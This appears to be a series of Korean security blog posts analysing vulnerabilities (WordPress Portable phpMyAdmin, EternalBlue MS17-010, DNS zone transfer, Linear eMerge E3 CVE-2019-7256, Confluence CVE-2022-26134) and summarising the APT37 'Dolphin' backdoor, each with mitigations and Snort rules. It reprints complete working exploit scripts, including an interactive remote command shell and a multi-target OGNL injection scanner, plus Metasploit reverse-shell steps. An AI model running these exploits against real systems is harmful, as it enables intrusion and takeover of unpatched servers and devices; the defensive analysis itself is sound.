1. WordPress

- 세계 최대의 오픈 소스 저작물 관리 시스템

- 오픈소스를 기반으로 한 설치형 블로그 또는 CMS(Content Managment System)

- PHP로 작성되었으며, MySQL 또는 마리아DB가 주로 사용

 

2. phpMyAdmin

- MySQL과 MariaDB를 위한 관리 도구

- PHP로 개발된 포터블 웹 애플리케이션

- 데이터베이스, 테이블, 필드, 열의 작성, 수정, 삭제, 사용자 및 사용 권한 관리 등의 다양한 작업을 수행할 수 있음

 

3. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2012-5469

- 플러그인 파일 경로에 직접 접근할 경우 기존 WordPress 세션(권한 여부)을 확인하지 않아 관리자 페이지에 접근이 가능

영향받는 버전 : WordPress용 1.3.1 이전의 Portable phpMyAdmin 플러그인

 

3.1 분석

- 공격자는 GET 메소드를 이용 portable-phpmyadmin 경로로 직접 접근

[사진 2] 익스플로잇 (JSOC_INSIGHT_vol23_en.pdf 中 발췌)

 

- [사진 2]의 요청을 통해 취약한 플러그인일 경우 권한 여부를 확인하지 않아 공격자가 관리자 페이지에 접근이 가능

[사진 3] 관리자 페이지 접근 (JSOC_INSIGHT_vol23_en.pdf 中 발췌)

3.2 PoC

- 'wp-content/plugins/portable-phpmyadmin/wp-pma-mod' URL로 직접 접근

http://Dst/wp-content/plugins/portable-phpmyadmin/wp-pma-mod

 

4. 대응방안

4.1 서버측면

① Portable phpMyAdmin 1.3.1 혹은 그 이상 버전으로 업데이트 적용

 

4.2 네트워크 측면

① 탐지 정책 적용 및 차단

- PoC에서 확인되는 것처럼 플러그인 URL로 직접적인 요청 수행

- "/wp-content/plugins/portable-phpmyadmin/wp-pma-mod" 문자열을 탐지하는 정책을 적용

 

5. 참고

https://nvd.nist.gov/vuln/detail/CVE-2012-5469

https://www.exploit-db.com/exploits/23356

https://www.tenable.com/plugins/nessus/64245

https://www.tenable.com/cve/CVE-2012-5469/cpes

https://www.lac.co.jp/english/report/pdf/JSOC_INSIGHT_vol23_en.pdf

1. SMB (Server Message Block)

- Common Internet File System, CIFS라고도 함

- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐

- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜

- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용

버전 설명
SMBv1 - MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜
- 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용
- 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2 - 2006년 제작되어 Windows Vista부터 탑재
- 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음
- 속도와 보안 모두 기존보다 월등
- 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3 - SMBv2에 속도 최적화 및 각종 기능을 추가한 것
- 2012년에 제작되어 Windows 8부터 탑재
- SMBv2와도 통신이 가능
- SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것

 

2. 이터널블루 (EthernalBlue)

- 미 국가안보국(NSA)의 해킹 도구

- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용

- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출

※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용

 

3. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능

- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점

- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능

- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능

- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포

영향받는 버전
- Windows 10
- Windows 8.1
- Windows RT 8.1
- Windows 7
- Windows Server 2016
- Windows Server 2012 R2
- Windows server 2008 R2 SP1 SP2

 

취약점명 CVE 번호 MS 번호
Windows SMB 원격 코드 실행 취약점 CVE-2017-0143 MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147

 

3.1 실습

희생자 PC
- OS : Windows 7 Ultimate x64
- IP : 192.168.56.116

공격자 PC
- OS : Kali Linux
- IP : 192.168.56.102

 

- 희생자 PC에 SMB Port가 열려 있는지 확인

[사진 1] 445/TCP open

 

- 메타스플로잇 실행

service postgresql start
msfconsole

[사진 2] 메타스플로잇 실행

 

- ms17_010 모듈 실행 및 옵션 설정

- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인

※ 아래부터 보고서를 기준으로 작성

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[사진 3] 패치된 버전으로 인해 취약점 없음

- 취약한 서버일 경우 [+]로 정보가 표시

[사진 4] 취약 서버 확인

- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/

[사진 5] 이터널블루 설치 및 추가

 

- 이터널블루-더블펄서 모듈 실행

msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar 
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options

[사진 6] 옵션 설정

- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정

옵션 설명
DOUBLEPULSARPATH  더블펄서 경로 지정
ETERNALBLUEPATH 이터널블루 경로 지정
PROCESSINJECT 악성코드가 들어갈 프로세스 지정
x64는 lsass.exe 사용
RHOSTS  공격 대상 IP
RPORT 445 (SMB Port)
TARGETARCHITECTURE 공격 대상 운영체제 버전 (x86, x64)
WINEPATH /root/.wine/drive_c/
Exploit target 공격 대상 OS 설정
  LHOST 로컬 IP 주소
payload 페이로드 생성

 

msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp      
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102

[사진 7] 옵션 확인

- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정

- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능

※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/

[사진 8] 익스플로잇 성공

3. 대응방안

3.1 서버측면

① OS 최신 보안 패치 적용

- 아래 링크에서 버전별 업데이트 적용

 

Microsoft 보안 공지 MS17-010 - 긴급

Microsoft 보안 공지 MS17-010 - 긴급 아티클 12/06/2019 읽는 데 31분 걸림 기여자 4명 피드백 이 문서의 내용 --> Microsoft Windows SMB 서버용 보안 업데이트(4013389) 게시된 날짜: 2017년 3월 15일 버전: 1.0 요약

learn.microsoft.com

 

3.2 네트워크 측면

① 탐지 룰 적용

- 공개된 Snort 정보

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION. Non-Fragmented NT Trans Request with command NT Rename (CVE-2017-0146)"; flow: established, to_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; byte_extract: 4, 35, NTTrans.TotalDataCount, relative, little; byte_test: 4, =, NTTrans.TotalDataCount, 16, relative, little; content: "|05 00|"; distance: 25; within: 2; isdataat:300, relative; flowbits: set, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001717; rev: 2;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] NT Trans Response"; flow: established, from_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: unset, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001718; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Race Condition Exploit. NT Trans Secondary packet follows NT Trans Req (CVE-2017-0146)"; flow: established, no_stream, to_server; content: "|FF|SMB|A1|"; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: set, EternalRomance.RaceCondition.Attempt; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001719; rev: 1;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Successful kernel data leak (CVE-2017-0146)"; flow: established, from_server; content: "|FF|SMB|A0|"; content: "Frag"; within: 115; flowbits: isset, EternalRomance.RaceCondition.Attempt; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001720; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALROMANCE exploitation (CVE-2017-0143)"; flow: established, to_server; content: "|FF|SMB|A1|"; content: "|FF|SMB|A0|"; distance: 0; content: "|05 00|"; distance: 64; within: 2; content: "|FF|SMB|25|"; distance: 13; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0143; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, www.crowdstrike.com/blog/badrabbit-ms17-010-exploitation-part-one-leak-and-control; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001723; rev: 1; )

 

② 네트워크 방화벽 및 윈도우 방화벽에서 SMB 관련 포트 차단

- SMB를 사용하지 않는 경우 방화벽에서 포트를 차단

프로토콜 포트번호
UDP 137
138
TCP 139
445

 

3.3 기타

① 최신의 백신상태로 유지 및 실시간 감지모드를 이용하여 악성코드의 실행을 차단

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- https://rjswn0315.tistory.com/153

- https://dailylearn.tistory.com/m/125

https://namu.wiki/w/SMB

https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2017/ms17-010

- https://github.com/ptresearch/AttackDetection/blob/master/MS17-010/ms17-010.rules

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25906&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTctMDE0Mw== 

1. Zone Transfer

- Master DNS 서버와 Slave DNS 서버 간 Zone 파일을 동기화하기 위한 프로토콜

- Slave 서버는 Master 서버에 접속하여 Zone 파일을 비교 및 최신화

- Zone Transfer는 TCP 이용

DNS Zone
- 도메인 관리하는 단위를 영역(Zone)이라 함
- 하나의 DNS 서버가 책임이나 권한을 가지는 영역을 의미

 

2. 실습

DNS  서버
- Domain : test.com
- OS : CentOS7 64bit
- IP : 192.168.56.114

Client 1
- IP : 192.168.56.112

Client 2
- IP : 192.168.56.102

 

- DNS 서버 구축

※ 아래 두 사이트를 참고하여 구축

 

[Linux] CentOS 7 DNS 서버 구축 & 도메인 설정

DNS 서버 구축 (CentOS 7) 일단 bind 패키지가 다운되어 있는지 확인 후 설치하도록 합시다. # rpm -qa | grep bind 확인 후 # yum -y install bind 설치 (깔려있어도 또 설치하면 업데이트 됩니다.) # rpm -qa | grep bin

it-serial.tistory.com

 

CentOS7 DNS 서버 설치

설치 환경 [DNS Server] Domain : test.com OS : CentOS7 64bit IP : 192.168.37.150 [Client] OS : Windows7 64bit IP : 192.168.37.143 1. DNS 서버 IP확인 2. Client IP 확인 3. Client DNS 설정 Client의 기본 DNS 서버를 새로 생성할 DNS서버

nalara12200.tistory.com

 

- DNS 서버의 Zone 파일 (/etc/named.rfc1912.zones)을 확인해보면, allow-transer {any;};로 설정

- 그 결과, 누구나 Zone Transer 수행 가능

[사진 1] allow-transfer

 

- 다음 명령으로 Zone Transfer 수행

dig @192.168.56.114 axfr test.com

① axfr : 존 버전에 상관없이 무조건 존 전송 요청
② ixfr : 존 버전을 비교하여 상위 버전일 경우 존 전송 요청

 

- 위 명령 수행 결과 Zone 파일 노출

[사진 2] Zone Transfer 수행 결과 Client 1(위) Client 2(아래)

- 와이어샤크를 통한 패킷 확인

[사진 3] 와이어샤크 확인

3. 대응

DNS를 Master/Slave로 운영하지 않는다면, Zone Tranfer를 사용하지 않도록 설정

- DNS 서버의 Zone 파일 (/etc/named.rfc1912.zones)에 allow-transfer 옵션을 수정 

[사진 4] allow-transfer 변경

- Client 1과 2에서 Zone Transfer 수행 결과 Transfer failed 출력

[사진 5] Zone Transfer 수행 결과 Client 1(위) Client 2(아래)

- 와이어샤크를 통한 패킷 확인

[사진 6] 와이어샤크 확인

 

② Zone Transfer를 운영해야 할 경우 Slave를 특정하여 운영

- DNS 서버의 Zone 파일 (/etc/named.rfc1912.zones)에 allow-transfer 옵션을 수정 

- Client 1만 Zone Transfer가 가능하도록 설정변경

[사진 7] allow-transfer 변경

 

- Client 1과 2에서 Zone Transfer 수행 결과 차이를 통해 비교

[사진 5] Zone Transfer 수행 결과 Client 1(위) Client 2(아래)

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
Brute Force Attack  (0) 2022.11.16
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160)  (0) 2022.09.29
robots.txt  (0) 2022.08.30

1. Linear eMerge E3-Series devices

- 사람이 지정된 시간에 지정된 장소에 출입하기 위해 사용할 수 있는 문을 지정하는 액세스 컨트롤러

-  즉, 조직 차원에서 특정 영역 출입 인원을 지정해 통제할 수 있으며, 따라서 여러 주요 시설에서 흔히 찾을 수 있는 제품

- 내장형 Linux 운영 체제에서 실행되며 내장형 웹 서버를 통해 브라우저에서 시스템을 관리

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- Linear eMerge E3-Series 제품군에서 발생하는 Command Injections 취약점

- 원격에서 제어 시스템을 완전히 장악할 수 있게 되어 CVSS 기준으로 만점인 10점을 받음

영향받는 제품 : Linear eMerge E3-Series 제품군

[사진 2] 쇼단 검색 화면

 

2.1 취약점 분석

- card_scan.php 페이지에서 사용자 입력값에 대한 검증을 수행하지 않아 발생

- GET 메소드를 통해 사용자가 입력한 ReaderNo, CardFormatNo 변수를 그대로 사용하여 exec()로 실행

[사진 3] 취약한 버전의 card_scan.php

- 아래 Exploit 예시에서처럼 서버에서 200 응답이 발생

[사진 4] Exploit 예시

2.2 PoC 분석

- /card_scan.php URL 요청 및 ReaderNo 매개변수 (혹은 CardFormatNo 매개변수)를 통해 공격을 시도함

- 결과를 test.txt(임의 파일명)에 저장 후 결과 출력, 삭제까지 이루어짐

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
  print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
  sys.exit()

ipaddr = sys.argv[1]

print
while True:
  try:
    cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
    execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
    readreq = requests.get('http://'+ipaddr+'/test.txt')
    print readreq.text
    if cmd.strip() == 'exit':
      print "[+] Erasing read stage file and exiting..."
      requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
      print "[+] Done. Ba-bye!\n"
      break
    else: continue
  except Exception:
    break

sys.exit()

 

3. 대응방안

3.1 서버측면

① 최신 패치 적용

- 패치된 버전의 card_scan.php에서는 사용자 입력값이 적절한지 is_numeric()으로 검증

- is_numeric()은 변수의 자료형이 숫자인지 확인하는 php 함수

※ card_scan.php는 카드 정보를 확인하는 기능을 수행하는것으로 판단됨.

[사진 5] 입력값 검증

② 내부망과 분리

- 패치 적용이 어렵거나 불가한 경우 취약한 시스템을 내부망에서 분리

- 공격자에 의한 네트워크 접속한 후 횡적 움직임 방지

 

3.2 네트워크 측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

- 취약한 URL 요청 : /card_scan.php

- 매개변수 사용 여부 : No, ReaderNo, CardFormatNo

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- https://www.boannews.com/media/view.asp?idx=86155 

https://www.exploit-db.com/docs/47646

https://securitynews.sonicwall.com/xmlpost/linear-emerge-e3-access-controller-actively-being-exploited/

- https://packetstormsecurity.com/files/155255/Linear-eMerge-E3-1.00-06-card_scan.php-Command-Injection.html

1. Confluence

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- 취약 버전의 Confluence Server 및 Data Center에서 OGNL 표현식에 의해 발생하는 원격 명령 실행 취약점

취약한 버전
- Confluence Server 및 Data Center 모든 지원되는 버전
- Confluence Server 및 Data Center 1.3.0 이후의 버전

 

2.1 취약점 실습

- 취약 서버 구동

git clone https://github.com/vulhub/vulhub
cd /vulhub/confluence/CVE-2022-26134
docker-compose up -d

 

[사진 2] 취약 서버 구동

- "Get an evaluation license"를 통해 키 발급 받기

[사진 3] 키 발급

- [사진 3]에서 키 발급 후 Next로 default 설치 진행 및 데이터베이스 설정 진행

- Next > Example Site > default 설치 진행

[사진 4] 설정 진행

- 서버 정상 구동 및 접근 확인

[사진 5] 서버 구동(위) 및 접근 확인(아래)

- Pyhton 파일을 이용해 Exploit 진행 및 id명령 수행 결과가 반환

[사진 6] Exploit

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크 확인

<디코딩 전>
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

<디코딩 후>
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

 

2.2 취약점 분석

- 정확하지는 않으나 요청 분석 과정에서 입력값 검증이 부족한 것으로 판단됨

① 서버는 클라이언트의 요청을 처리하기위해 TextParseUtil.translateVariables를 호출
② TextParseUtil.translateVariables에서 "\\\$\\{(^})\\\}"패턴에 대해서만 필터링

※ xwork-1.0.3.6.jar 내 TextParseUtil.class가 있음

[사진 8]&nbsp;TextParseUtil.translateVariables

 

2.3 PoC 분석

- spiderXpl(url) 함수에서 OGNL 표현식 설정 등 공격을 위한 설정이 이루어짐

① 전달 받은 커맨드(-c 옵션 : command)를 포함하여 OGNL 표현식으로 설정

② setHeader() 함수를 통해 응답값에 "X-Cmd-Response"를 설정

③ 취약한 서버의 경우 OGNL 표현식 수행 결과를 X-Cmd-Response를 통해 응답

#!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
    globals().update(locals())
    if not url.startswith('http'):
        url='http://'+url
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}

    try:
        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
        if(response.status_code == 302):
            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

            inputBuffer = str(response.headers['X-Cmd-Response'])
            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
        else:
            pass

    except requests.exceptions.ConnectionError:
        print('[x] Failed to Connect: '+url)
        pass
    except multiprocessing.log_to_stderr:
        pass
    except KeyboardInterrupt:
        print('[!] Stoping exploit...')
        exit(0)
    except (MissingSchema, InvalidURL):
        pass
    
    
def banner():
    print('[-] CVE-2022-26134')
    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')

    
def main():
    banner()
    
    globals().update(locals())
    
    sys.setrecursionlimit(100000)

    if not optionsOpt.filehosts:
        url = optionsOpt.url
        spiderXpl(url)
    else:
        f = open(optionsOpt.filehosts)
        urls = map(str.strip, f.readlines())

        multiReq = multiprocessing.Pool(optionsOpt.threads_set)
        try:
            multiReq.map(spiderXpl, urls)
            multiReq.close()
            multiReq.join()
        except UnboundLocalError:
            pass
        except KeyboardInterrupt:
            exit(0)


    if optionsOpt.output:
        print("\n[!] Saving the output result in: %s" % optionsOpt.output)

        with open(optionsOpt.output, "w") as f:
            for result in paramResults:
                f.write("%s\n" % result)
        f.close()

if __name__ == "__main__":
    parser = optparse.OptionParser()

    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
    optionsOpt, args = parser.parse_args()

    main()

 

3. 대응방안

3.1 서버측면

① 취약점이 패치된 보안 업데이트 적용

제품 패치 버전
Confluence 7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

- 즉시 업데이트가 어려운 경우 아래 사이트를 참고해 버전별 임시 해결 방안을 적용

⒜ 취약점이 발생한 xwork-1.0.3.6.jar를 새로 출시된 xwork-1.0.3-atlassian-10.jar로 교체 권고

 

Confluecne 보안 권고 CVE-2022-26134 - CURVC DevOps - Confluence

이 문서는 CVE-2022-26134 취약점에 대한 조치 방법을 공유하기 위해 작성되었다. 취약점 요약표 요약CVE-2022-26134 - Confluence Server 및 Data Center의 원격 코드 실행 취약점 (심각도- 미인증)권고 릴리스

confluence.curvc.com

 

- 패치된 버전에서는 translateVariables 메서드를 사용하지 않고 finalNamespace 및 finalActionName 변수를 사용

[사진 9] 패치 전(위) 후(아래) 비교

- findValue 메서드 SafeExpressionUtil.class를 추가

⒜ isSafeExpression()를 통해 입력값에 대한 검증을 강화

[사진 10] 표현식 추가

3.2 네트워크측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

⒜ OGNL 표현식 : ${(#

⒝ 요청 내 X-Cmd-Response 문자열 존재 여부

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- https://github.com/vulhub/vulhub

- https://github.com/h3v0x/CVE-2022-26134/blob/main/exploit.py

https://blog.alyac.co.kr/4772

https://doosil87.github.io/devops/2019/09/01/Jiraandconfluence.html

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

- https://confluence.curvc.com/pages/releaseview.action?pageId=101553124

https://www.akamai.com/ko/blog/security-research/atlassian-confluence-vulnerability-observations

개요 - 북한 추정 해커조직 APT37가 백도어 ‘돌핀(Dolphin)’를 심어 남한을 정찰하고 명령제어(C&C) 서버와의 통신을 위해 구글 드라이브를 악용한 정황이 포착
내용 ① ‘Dolphin’ 백도어
- 공격자가 선택한 대상에 대해서만 실행되며, 비교적 단순한 형태의 악성코드를 사용해 초기 공격을 수행한 후 백도어가 구축
- 드라이브 및 이동식 장치의 모니터링, 주요 파일 반출, 키로깅, 스크린샷 촬영, 브라우저에서의 자격 증명 탈취 등 다양한 스파이 기능
- C&C 통신을 위해 클라우드 스토리지 서비스를 악용했는데, 특히 구글 드라이브(Google Drive)를 악용
- 감염된 시스템의 드라이브에서 관심 대상 파일을 검색하고 구글 드라이브를 통해 파일을 반출
- 공격 대상의 구글(Google)과 지메일(Gmail) 계정의 설정을 수정해 보안 수준을 낮추는 능력이 있는데, 이를 통해 공격 조직의 지메일 계정 액세스를 유지

② 스카크러프트(ScarCruft) 조직의 수행으로 추측 (APT37 또는 Reaper 또는 금성121로 알려짐)
- 2021년 북한 보도를 주로 하는 한국의 인터넷 신문사를 대상으로 워터링 홀 공격을 수행한 이력
- Internet Explorer 익스플로잇, BLUELIGHT라는 백도어로 이어진 셸코드 등 다양한 구성요소로 이루어짐

③ ‘BLUELIGHT’ 백도어보다 정교한 백도어 ‘Dolphin’이 등장
- BLUELIGHT 대비 기능 강화 및 탐지 회피 기능 존재 
- BLUELIGHT : 기본적인 정찰과 평가를 수행
- Dolphin :
     선택한 공격 대상에 대해서만 수동으로 구축
     모든 고정 드라이브(HDD) 및 비고정 드라이브(USB)를 검색해 디렉토리 목록을 생성
     확장명을 기준으로 파일을 반출
     Windows Portable Device API를 통해 스마트폰과 같은 휴대용 장치도 검색 가능
     브라우저에서 자격 증명을 탈취하고 키로깅 및 스크린샷 촬영도 가능
     데이터는 암호화된 ZIP 아카이브 형태로 구글 드라이브에 업로드
비고 - 백도어를 이용한 공격은 우수한 해킹 인력과 다양한 역량, 과거 공격 경험을 활용해 공격 기법을 고도화하고 있는 추세
